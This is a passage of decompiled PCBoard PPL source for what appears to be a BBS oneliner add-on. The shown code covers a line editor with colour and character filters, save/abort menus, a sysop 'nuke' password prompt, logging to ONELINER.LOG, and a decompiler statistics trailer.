    PrintLn "@X08   @X0F @X0E @X0D @X0C @X0B @X0A @X09 @X08 @X07 @X06 @X05 @X04 @X03 @X02 @X01 @X08  "
    PrintLn "@X08                                                             "
    Goto LABEL057
:LABEL053
    If (!(INTEGER022 == 8)) Goto LABEL054
    AnsiPos 1, 19
    Print "                                                                          "
    AnsiPos 17, 20
    PrintLn "@POFF@@X08     [@X70 Save @X08]   [ @X07Abord @X08]   [ @X07Continue @X08]      "
    Print "                                                                           "
    Goto LABEL057
:LABEL054
    If (!(INTEGER022 == 6)) Goto LABEL055
    AnsiPos 17, 20
    Print "@X08     [ @X07Save @X08]   [@X70 Abord @X08]   [ @X07Continue @X08]      "
    Goto LABEL057
:LABEL055
    If (!(INTEGER022 == 7)) Goto LABEL056
    AnsiPos 17, 20
    Print "@X08     [ @X07Save @X08]   [@X07 Abord @X08]   [@X70 Continue @X08]      "
    Goto LABEL057
:LABEL056
    If (!(INTEGER022 == 5)) Goto LABEL057
    AnsiPos 17, 20
    Print "@POFF@@X08     [@X70 Save @X08]   [ @X07Abord @X08]   [ @X07Continue @X08]      "
    Goto LABEL057
:LABEL057

EndProc


Procedure PROC002()

    INTEGER019 = 1
    INTEGER015 = 4
    INTEGER014 = TSTRING023(3)
    INTEGER018 = STRING024
    PROC012(1)
    Newlines 3
    PROC012(2)
    Newlines 2
    PROC012(3)
:LABEL058
    AnsiPos 1, 19
    PROC012(4)
    AnsiPos 18, 19
    Print TSTRING028(INTEGER018)
    PROC015(INTEGER014)
    AnsiPos INTEGER015, INTEGER016
:LABEL059
    STRING025 = Inkey()
    If (((STRING025 == Chr(13)) || (STRING025 == Chr(27)))) Goto LABEL069
    If ((STRING025 == Chr(18))) Gosub LABEL061
    If ((STRING025 == Chr(9))) STRING025 = ""
    If ((STRING025 == Chr(8))) Gosub LABEL063
    If ((STRING025 == Chr(22))) Gosub LABEL060
    If (((STRING025 == "LEFT") || (STRING025 == "DOWN"))) PROC014("LEFT")
    If (((STRING025 == "RIGHT") || (STRING025 == "UP"))) PROC014("RIGHT")
    If ((((((STRING025 == "HOME") || ((STRING025 == "PGUP") || (STRING025 == "PGDN"))) || (STRING025 == "END")) || (STRING025 == "DEL")) || (STRING025 == "INS"))) STRING025 = ""
    If (!(STRING025 == "")) Goto LABEL065
    Goto LABEL059
:LABEL060
    STRING012 = ScrText(4, 10, INTEGER015 - 4, 1)
    Cls
    DispFile PPEPath() + TSTRING023(1), 0
    INTEGER008 = GetX()
    INTEGER009 = GetY()
    PROC009()
    DispFile PPEPath() + TSTRING023(2), 0
    AnsiPos 35, INTEGER006
    Print "@X08[@X70 Back @X08]"
    InputStr "_", STRING025, 1, 1, "", 0
    Cls
    PROC012(1)
    Newlines 3
    PROC012(2)
    AnsiPos 4, 10
    Print STRING012
    Newlines 4
    PROC012(3)
    AnsiPos 1, 19
    PROC012(4)
    AnsiPos 18, 19
    Print TSTRING028(INTEGER018)
    PROC015(INTEGER014)
    AnsiPos INTEGER015, INTEGER016
    STRING025 = ""
    Return
:LABEL061
    If ((INTEGER014 == 3)) Goto LABEL062
    Inc INTEGER014
    STRING025 = ""
    PROC015(INTEGER014)
    Return
:LABEL062
    INTEGER014 = 1
    STRING025 = ""
    PROC015(INTEGER014)
    Return
:LABEL063
    If ((INTEGER019 > 1)) Dec INTEGER019
    If (!(INTEGER015 == 4)) Goto LABEL064
    AnsiPos INTEGER015, INTEGER016
    Print "@X08"
    AnsiPos INTEGER015, INTEGER016
    STRING025 = ""
    Return
:LABEL064
    If ((INTEGER015 == 4)) Goto LABEL065
    Dec INTEGER015
    AnsiPos INTEGER015, INTEGER016
    Print "@X08"
    AnsiPos INTEGER015, INTEGER016
    STRING025 = ""
    Return
:LABEL065
    If ((INTEGER014 == 2)) PROC013(2)
    If ((INTEGER014 == 3)) PROC013(3)
    Goto LABEL066
:LABEL066
    If ((INTEGER015 == 78)) Goto LABEL068
    AnsiPos INTEGER015, INTEGER016
    If (!(INTEGER014 == 3)) Goto LABEL067
    PROC010()
    Goto LABEL068
:LABEL067
    PROC017(TSTRING027(INTEGER018) + STRING025)
    Inc INTEGER015
:LABEL068
    AnsiPos INTEGER015, INTEGER016
    STRING025 = ""
    Goto LABEL059
:LABEL069
    PROC018()
    If ((INTEGER021 == 1)) Goto LABEL071
    If ((INTEGER021 == 2)) Goto LABEL078
    If ((INTEGER021 == 3)) Goto LABEL070
:LABEL070
    Goto LABEL058
:LABEL071
    If ((INTEGER015 == 4)) Goto LABEL072
    TSTRING018(STRING038 + 1) = ScrText(4, 10, INTEGER015 - 4, 1)
    STRING040 = StripAtx(TSTRING018(STRING038 + 1))
    If ((STRING040 == Space(INTEGER015 - 4))) Goto LABEL072
    Goto LABEL073
:LABEL072
    AnsiPos 26, 18
    Print "@X08" + STRING041
    Delay 2
    AnsiPos 26, 18
    Print "@X07" + STRING041
    Delay 2
    AnsiPos 26, 18
    Print "@X0C" + STRING041
    Delay 20
    Goto LABEL079
:LABEL073
    AnsiPos 26, 18
    Print "@X08 LiNe SAVeD !"
    Delay 2
    AnsiPos 26, 18
    Print "@X07 LiNe SAVeD !"
    Delay 2
    AnsiPos 26, 18
    Print "@X0C LiNe SAVeD !"
    Delay 20
    If (!(Mid(TSTRING018(STRING038 + 1), 1, 2) == "@X")) TSTRING018(STRING038 + 1) = STRING024 + TSTRING018(STRING038 + 1)
    INTEGER007 = 1
:LABEL074
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL075
    TSTRING019(INTEGER007) = TSTRING018(INTEGER007 + 1)
    INTEGER007 = INTEGER007 + 1
    Goto LABEL074
:LABEL075
    INTEGER007 = 1
:LABEL076
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL077
    TSTRING018(INTEGER007) = TSTRING019(INTEGER007)
    INTEGER007 = INTEGER007 + 1
    Goto LABEL076
:LABEL077
    If (Upper((STRING044 == "ON "))) PROC019(StripAtx(TSTRING018(STRING038 + 1)), 0)
    Goto LABEL079
:LABEL078
    AnsiPos 26, 18
    Print "@X08" + STRING042
    Delay 2
    AnsiPos 26, 18
    Print "@X07" + STRING042
    Delay 2
    AnsiPos 26, 18
    Print "@X0C" + STRING042
    Delay 20
    Goto LABEL079
:LABEL079
    If (!(STRING022 == "YES")) Goto LABEL080
    PROC007()
    End
:LABEL080

EndProc


Procedure PROC013(Integer INTEGER023)

    If (!(INTEGER023 == 2)) Goto LABEL081
    If ((STRING025 == "a")) STRING025 = ""
    If ((STRING025 == "b")) STRING025 = "b"
    If ((STRING025 == "c")) STRING025 = ""
    If ((STRING025 == "d")) STRING025 = ""
    If ((STRING025 == "e")) STRING025 = ""
    If ((STRING025 == "f")) STRING025 = ""
    If ((STRING025 == "g")) STRING025 = "g"
    If ((STRING025 == "h")) STRING025 = "h"
    If ((STRING025 == "i")) STRING025 = ""
    If ((STRING025 == "j")) STRING025 = "j"
    If ((STRING025 == "k")) STRING025 = "k"
    If ((STRING025 == "l")) STRING025 = ""
    If ((STRING025 == "m")) STRING025 = "m"
    If ((STRING025 == "n")) STRING025 = ""
    If ((STRING025 == "o")) STRING025 = ""
    If ((STRING025 == "p")) STRING025 = "p"
    If ((STRING025 == "q")) STRING025 = "q"
    If ((STRING025 == "r")) STRING025 = ""
    If ((STRING025 == "s")) STRING025 = "s"
    If ((STRING025 == "t")) STRING025 = ""
    If ((STRING025 == "u")) STRING025 = ""
    If ((STRING025 == "v")) STRING025 = "v"
    If ((STRING025 == "w")) STRING025 = "w"
    If ((STRING025 == "x")) STRING025 = "x"
    If ((STRING025 == "y")) STRING025 = ""
    If ((STRING025 == "z")) STRING025 = "z"
    If ((STRING025 == "A")) STRING025 = "A"
    If ((STRING025 == "B")) STRING025 = ""
    If ((STRING025 == "C")) STRING025 = "C"
    If ((STRING025 == "D")) STRING025 = "D"
    If ((STRING025 == "E")) STRING025 = ""
    If ((STRING025 == "F")) STRING025 = ""
    If ((STRING025 == "G")) STRING025 = "G"
    If ((STRING025 == "H")) STRING025 = "H"
    If ((STRING025 == "I")) STRING025 = ""
    If ((STRING025 == "J")) STRING025 = ""
    If ((STRING025 == "K")) STRING025 = "K"
    If ((STRING025 == "L")) STRING025 = ""
    If ((STRING025 == "M")) STRING025 = "M"
    If ((STRING025 == "N")) STRING025 = ""
    If ((STRING025 == "O")) STRING025 = ""
    If ((STRING025 == "P")) STRING025 = ""
    If ((STRING025 == "Q")) STRING025 = "Q"
    If ((STRING025 == "R")) STRING025 = "R"
    If ((STRING025 == "S")) STRING025 = "$"
    If ((STRING025 == "T")) STRING025 = ""
    If ((STRING025 == "U")) STRING025 = "U"
    If ((STRING025 == "V")) STRING025 = ""
    If ((STRING025 == "W")) STRING025 = "W"
    If ((STRING025 == "X")) STRING025 = "X"
    If ((STRING025 == "Y")) STRING025 = ""
    If ((STRING025 == "Z")) STRING025 = "Z"
    Goto LABEL082
:LABEL081
    If (!(INTEGER023 == 3)) Goto LABEL082
    If (((STRING025 == "a") || (STRING025 == "A"))) STRING025 = "a"
    If (((STRING025 == "b") || (STRING025 == "B"))) STRING025 = "B"
    If (((STRING025 == "c") || (STRING025 == "C"))) STRING025 = "C"
    If (((STRING025 == "d") || (STRING025 == "D"))) STRING025 = "D"
    If (((STRING025 == "e") || (STRING025 == "E"))) STRING025 = "e"
    If (((STRING025 == "f") || (STRING025 == "F"))) STRING025 = "F"
    If (((STRING025 == "g") || (STRING025 == "G"))) STRING025 = "G"
    If (((STRING025 == "h") || (STRING025 == "H"))) STRING025 = "H"
    If (((STRING025 == "i") || (STRING025 == "I"))) STRING025 = "i"
    If (((STRING025 == "j") || (STRING025 == "J"))) STRING025 = "J"
    If (((STRING025 == "k") || (STRING025 == "K"))) STRING025 = "K"
    If (((STRING025 == "l") || (STRING025 == "L"))) STRING025 = "L"
    If (((STRING025 == "m") || (STRING025 == "M"))) STRING025 = "M"
    If (((STRING025 == "n") || (STRING025 == "N"))) STRING025 = "N"
    If (((STRING025 == "o") || (STRING025 == "O"))) STRING025 = "o"
    If (((STRING025 == "p") || (STRING025 == "P"))) STRING025 = "P"
    If (((STRING025 == "r") || (STRING025 == "R"))) STRING025 = "R"
    If (((STRING025 == "s") || (STRING025 == "S"))) STRING025 = "S"
    If (((STRING025 == "t") || (STRING025 == "T"))) STRING025 = "T"
    If (((STRING025 == "u") || (STRING025 == "U"))) STRING025 = "u"
    If (((STRING025 == "v") || (STRING025 == "V"))) STRING025 = "V"
    If (((STRING025 == "x") || (STRING025 == "X"))) STRING025 = "X"
    If (((STRING025 == "y") || (STRING025 == "Y"))) STRING025 = "Y"
    If (((STRING025 == "z") || (STRING025 == "Z"))) STRING025 = "Z"
    If (((STRING025 == "w") || (STRING025 == "W"))) STRING025 = "W"
    If (((STRING025 == "q") || (STRING025 == "Q"))) STRING025 = "Q"
    Inc INTEGER017
    Goto LABEL082
:LABEL082

EndProc


Procedure PROC014(String STRING049)

    STRING025 = ""
    If (!(STRING049 == "LEFT")) Goto LABEL084
    If ((INTEGER018 == 15)) Goto LABEL083
    Inc INTEGER018
    Goto LABEL086
:LABEL083
    If ((INTEGER018 == 15)) INTEGER018 = 1
    Goto LABEL086
:LABEL084
    If (!(STRING049 == "RIGHT")) Goto LABEL086
    If ((INTEGER018 == 1)) Goto LABEL085
    Dec INTEGER018
    Goto LABEL086
:LABEL085
    If ((INTEGER018 == 1)) INTEGER018 = 15
    Goto LABEL086
:LABEL086
    AnsiPos 18, 19
    Print TSTRING028(INTEGER018)
    AnsiPos INTEGER015, INTEGER016

EndProc


Procedure PROC010()

    If ((STRING025 == " ")) INTEGER019 = 0
    If (!(INTEGER019 == 2)) Goto LABEL087
    If (((TSTRING027(INTEGER018) == "@X09") || (TSTRING027(INTEGER018) == "@X01"))) STRING029 = "@X09"
    If (((TSTRING027(INTEGER018) == "@X0A") || (TSTRING027(INTEGER018) == "@X02"))) STRING029 = "@X0A"
    If (((TSTRING027(INTEGER018) == "@X0B") || (TSTRING027(INTEGER018) == "@X03"))) STRING029 = "@X0B"
    If (((TSTRING027(INTEGER018) == "@X0C") || (TSTRING027(INTEGER018) == "@X04"))) STRING029 = "@X0C"
    If (((TSTRING027(INTEGER018) == "@X0D") || (TSTRING027(INTEGER018) == "@X05"))) STRING029 = "@X0D"
    If (((TSTRING027(INTEGER018) == "@X0E") || (TSTRING027(INTEGER018) == "@X06"))) STRING029 = "@X0E"
    If (((TSTRING027(INTEGER018) == "@X0F") || (TSTRING027(INTEGER018) == "@X07"))) STRING029 = "@X07"
    Goto LABEL088
:LABEL087
    If (!(INTEGER019 > 2)) Goto LABEL088
    If (((TSTRING027(INTEGER018) == "@X09") || (TSTRING027(INTEGER018) == "@X01"))) STRING029 = "@X01"
    If (((TSTRING027(INTEGER018) == "@X0A") || (TSTRING027(INTEGER018) == "@X02"))) STRING029 = "@X02"
    If (((TSTRING027(INTEGER018) == "@X0B") || (TSTRING027(INTEGER018) == "@X03"))) STRING029 = "@X03"
    If (((TSTRING027(INTEGER018) == "@X0C") || (TSTRING027(INTEGER018) == "@X04"))) STRING029 = "@X04"
    If (((TSTRING027(INTEGER018) == "@X0D") || (TSTRING027(INTEGER018) == "@X05"))) STRING029 = "@X05"
    If (((TSTRING027(INTEGER018) == "@X0E") || (TSTRING027(INTEGER018) == "@X06"))) STRING029 = "@X06"
    If ((((TSTRING027(INTEGER018) == "@X0F") || (TSTRING027(INTEGER018) == "@X07")) || (TSTRING027(INTEGER018) == "@X08"))) STRING029 = "@X08"
    Goto LABEL088
:LABEL088
    If ((INTEGER019 == 0)) PROC017(STRING025)
    If ((INTEGER019 == 1)) PROC017("@X0F" + STRING025)
    If ((INTEGER019 == 2)) PROC017(STRING029 + STRING025)
    If ((INTEGER019 > 2)) PROC017(STRING029 + STRING025)
    Inc INTEGER019
    Inc INTEGER015

EndProc


Procedure PROC015(Integer INTEGER024)

    If (!(INTEGER014 == 1)) Goto LABEL089
    AnsiPos 64, 15
    Print "@X0F"
    AnsiPos 64, 15 + 1
    Print " "
    AnsiPos 64, 15 + 2
    Print " "
    Goto LABEL091
:LABEL089
    If (!(INTEGER014 == 2)) Goto LABEL090
    AnsiPos 64, 15
    Print " "
    AnsiPos 64, 15 + 1
    Print "@X0F"
    AnsiPos 64, 15 + 2
    Print " "
    Goto LABEL091
:LABEL090
    If (!(INTEGER014 == 3)) Goto LABEL091
    AnsiPos 64, 15
    Print " "
    AnsiPos 64, 15 + 1
    Print " "
    AnsiPos 64, 15 + 2
    Print "@X0F"
    Goto LABEL091
:LABEL091
    AnsiPos INTEGER015, INTEGER016

EndProc


Procedure PROC016(Integer INTEGER025)

    SaveScrn
    If (!(INTEGER025 == 1)) Goto LABEL092
    If ((U_Sec >= STRING039)) INTEGER020 = 1
    Goto LABEL095
:LABEL092
    If (!(INTEGER025 == 2)) Goto LABEL093
    STRING033 = ""
    AnsiPos 4, 9
    Print "@X0FĿ"
    AnsiPos 4, 10
    Print "@X0F@X0F Nuke Password :                                   "
    AnsiPos 4, 11
    Print "@X0F"
    AnsiPos 21, 10
    InputStr "_", STRING033, 10, 10, Mask_Ascii(), 8
    If ((Upper(STRING032) == Mid(STRING033, 1, 10))) INTEGER020 = 1
    If ((INTEGER020 == 0)) Print "WORANG PASSWORD!!"
    Goto LABEL095
:LABEL093
    If (!(INTEGER025 == 3)) Goto LABEL095
    If (!(U_Sec >= STRING039)) Goto LABEL094
    STRING033 = ""
    AnsiPos 4, 9
    Print "@X0FĿ"
    AnsiPos 4, 10
    Print "@X0F@X0F Nuke Password :                                   "
    AnsiPos 4, 11
    Print "@X0F"
    AnsiPos 21, 10
    InputStr "_", STRING033, 10, 10, Mask_Ascii(), 8
    If ((Upper(STRING032) == Mid(STRING033, 1, 10))) INTEGER020 = 1
    If ((INTEGER020 == 0)) Print "WORANG PASSWORD!!"
    Goto LABEL095
:LABEL094
    Goto LABEL095
:LABEL095
    RestScrn

EndProc


Procedure PROC017(String STRING050)

    If (!(STRING025 == " ")) Goto LABEL096
    Print STRING050
    Goto LABEL099
:LABEL096
    If (!(STRING036 == 1)) Goto LABEL097
    Print STRING050
    Goto LABEL099
:LABEL097
    If (!(STRING036 == 2)) Goto LABEL098
    Print TSTRING027(STRING034) + STRING025
    Backup 1
    Delay 1
    Print TSTRING027(STRING035) + STRING025
    Backup 1
    Delay 1
    Print STRING050
    Backup 1
    Goto LABEL099
:LABEL098
    If (!(STRING036 == 3)) Goto LABEL099
    Print TSTRING027(STRING034) + STRING030
    Backup 1
    Delay 1
    Print TSTRING027(STRING035) + STRING031
    Backup 1
    Delay 1
    Print STRING050
    Backup 1
    Goto LABEL099
:LABEL099

EndProc

:LABEL100
    TSTRING027(9) = "@X09"
    TSTRING027(1) = "@X01"
    TSTRING027(2) = "@X02"
    TSTRING027(3) = "@X03"
    TSTRING027(4) = "@X04"
    TSTRING027(5) = "@X05"
    TSTRING027(6) = "@X06"
    TSTRING027(7) = "@X07"
    TSTRING027(8) = "@X08"
    TSTRING027(10) = "@X0A"
    TSTRING027(11) = "@X0B"
    TSTRING027(12) = "@X0C"
    TSTRING027(13) = "@X0D"
    TSTRING027(14) = "@X0E"
    TSTRING027(15) = "@X0F"
    TSTRING028(15) = "@X0F                                           "
    TSTRING028(14) = "@X0F                                           "
    TSTRING028(13) = "@X0F                                           "
    TSTRING028(12) = "@X0F                                           "
    TSTRING028(11) = "@X0F                                           "
    TSTRING028(10) = "@X0F                                           "
    TSTRING028(9) = "@X0F                                           "
    TSTRING028(8) = "@X0F                                           "
    TSTRING028(7) = "@X0F                                           "
    TSTRING028(6) = " @X0F                                          "
    TSTRING028(5) = " @X0F                                          "
    TSTRING028(4) = " @X0F                                          "
    TSTRING028(3) = " @X0F                                          "
    TSTRING028(2) = " @X0F                                          "
    TSTRING028(1) = " @X0F                                          "
    Return
    End

Procedure PROC018()

    INTEGER021 = 1
    PROC012(8)
:LABEL101
    STRING026 = Inkey()
    If ((STRING026 == Chr(13))) Goto LABEL112
    If (!(STRING026 == Chr(27))) Goto LABEL102
    INTEGER021 = 3
    Goto LABEL112
:LABEL102
    If (((STRING026 == "LEFT") || (STRING026 == "UP"))) Goto LABEL106
    If (((STRING026 == "RIGHT") || (STRING026 == "DOWN"))) Goto LABEL109
    If (!((STRING026 == "S") || (STRING026 == "s"))) Goto LABEL103
    INTEGER021 = 1
    Goto LABEL112
:LABEL103
    If (!((STRING026 == "A") || (STRING026 == "a"))) Goto LABEL104
    INTEGER021 = 2
    Goto LABEL112
:LABEL104
    If (!((STRING026 == "C") || (STRING026 == "c"))) Goto LABEL105
    INTEGER021 = 3
    Goto LABEL112
:LABEL105
    Goto LABEL101
:LABEL106
    If (!(INTEGER021 == 1)) Goto LABEL107
    INTEGER021 = 3
    Goto LABEL108
:LABEL107
    Dec INTEGER021
:LABEL108
    PROC012(INTEGER021 + 4)
    Goto LABEL101
:LABEL109
    If (!(INTEGER021 == 3)) Goto LABEL110
    INTEGER021 = 1
    Goto LABEL111
:LABEL110
    Inc INTEGER021
:LABEL111
    PROC012(INTEGER021 + 4)
    Goto LABEL101
:LABEL112

EndProc


Procedure PROC019(String STRING051, Integer INTEGER026)

    If (!(INTEGER026 == 0)) Goto LABEL115
    TSTRING045(1) = "[ oNELiNeR LoG FiLe ]"
    TSTRING045(3) = "-------------------------------------------[ Oneliner v.1 By Black Knight ]--"
    If (!Exist(PPEPath() + "ONELINER.LOG")) Goto LABEL113
    Goto LABEL114
:LABEL113
    FCreate 2, PPEPath() + "ONELINER.LOG", 1, 0
    FPutLn 2, TSTRING045(1)
    FPutLn 2, "[ CREATED IN ", Date(), " AT ", Time(), " ]"
    FPutLn 2, " "
    FPutLn 2, "-------------------------------------------------------------------------------"
    FPutLn 2, " "
    FPutLn 2, U_Name(), " Write this line at ", Time(), " in the ", Date(), " : "
    FPutLn 2, "[ ", STRING051, " ]"
    FPutLn 2, " "
    FPutLn 2, TSTRING045(3)
    FClose 2
    Goto LABEL118
:LABEL114
    FAppend 2, PPEPath() + "ONELINER.LOG", 1, 0
    FPutLn 2, " "
    FPutLn 2, U_Name(), " Write this line at ", Time(), " in the ", Date(), " : "
    FPutLn 2, "[ ", STRING051, " ]"
    FPutLn 2, " "
    FPutLn 2, TSTRING045(3)
    FClose 2
    Goto LABEL118
:LABEL115
    If (!(INTEGER026 == 1)) Goto LABEL118
    TSTRING045(1) = "[ oNELiNeR LoG FiLe ]"
    TSTRING045(3) = "-------------------------------------------[ Oneliner v.1 By Black Knight ]--"
    If (!Exist(PPEPath() + "ONELINER.LOG")) Goto LABEL116
    Goto LABEL117
:LABEL116
    FCreate 2, PPEPath() + "ONELINER.LOG", 1, 0
    FPutLn 2, TSTRING045(1)
    FPutLn 2, "[ CREATED IN ", Date(), " AT ", Time(), " ]"
    FPutLn 2, " "
    FPutLn 2, "-------------------------------------------------------------------------------"
    FPutLn 2, " "
    FPutLn 2, U_Name(), " Nuked this line at ", Time(), " in the ", Date(), " : "
    FPutLn 2, "[ ", STRING051, " ]"
    FPutLn 2, " "
    FPutLn 2, TSTRING045(3)
    FClose 2
    Goto LABEL118
:LABEL117
    FAppend 2, PPEPath() + "ONELINER.LOG", 1, 0
    FPutLn 2, " "
    FPutLn 2, U_Name(), " Nuked this line at ", Time(), " in the ", Date(), " : "
    FPutLn 2, "[ ", STRING051, " ]"
    FPutLn 2, " "
    FPutLn 2, TSTRING045(3)
    FClose 2
    Goto LABEL118
:LABEL118

EndProc


Procedure PROC003(String STRING052)

    INTEGER010 = GetX()
    INTEGER011 = GetY()
    AnsiPos INTEGER010, INTEGER011
    If ((INTEGER012 > 2)) Goto LABEL119
    Print "@POFF@@X08" + StripAtx(STRING052)
    Delay 2
    AnsiPos INTEGER010, INTEGER011
    Print "@POFF@@X07" + StripAtx(STRING052)
    Delay 2
:LABEL119
    AnsiPos INTEGER010, INTEGER011
    PrintLn STRING052

EndProc

    PROC011()
    PROC011()
    End

Procedure PROC011()

    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    End
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Print "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    Wait
    Wait
    Wait
    End

EndProc

:LABEL120
    Print "fffffffffffffrtrhgfrhgfghfgdhfdh"

;------------------------------------------------------------------------------
;
; Statements used :
;
;    6       End
;    4       Cls
;    3       Wait
;    183     Goto 
;    259     Let 
;    110     Print 
;    18      PrintLn 
;    229     If 
;    4       DispFile 
;    6       FCreate 
;    2       FOpen 
;    2       FAppend 
;    10      FClose 
;    25      FGet 
;    182     FPutLn 
;    2       GetUser
;    1       PutUser
;    14      Delete 
;    3       InputStr 
;    4       Gosub 
;    6       Return
;    15      Delay 
;    11      Inc 
;    6       Dec 
;    4       Newlines 
;    61      AnsiPos 
;    6       Backup 
;    2       SaveScrn
;    1       RestScrn
;    12      Copy 
;    1       GetAltUser 
;    22      EndProc
;
;
; Functions used :
;
;    1       /
;    145     +
;    9       -
;    261     ==
;    10      <
;    10      <=
;    8       >
;    22      >=
;    81      !
;    24      &&
;    68      ||
;    3       Len(
;    9       Upper()
;    27      Mid()
;    1       Left()
;    1       Space()
;    11      Chr()
;    7       Date()
;    6       Time()
;    5       U_Name()
;    1       U_LDate()
;    1       U_LDir()
;    1       U_Ful()
;    1       U_Fdl()
;    1       U_BdlDay()
;    1       U_TimeOn()
;    1       U_Bdl()
;    1       U_Bul()
;    6       StripAtx()
;    4       Inkey()
;    2       Mask_Ascii()
;    6       PCBDat()
;    18      PPEPath()
;    10      ReadLine()
;    10      Exist()
;    3       GetX()
;    4       GetY()
;    1       FileInf()
;    2       ScrText()
;    1       PCBMac()
;
;------------------------------------------------------------------------------
;                        Dedicated to pure anarchists all around the world...  
;------------------------------------------------------------------------------
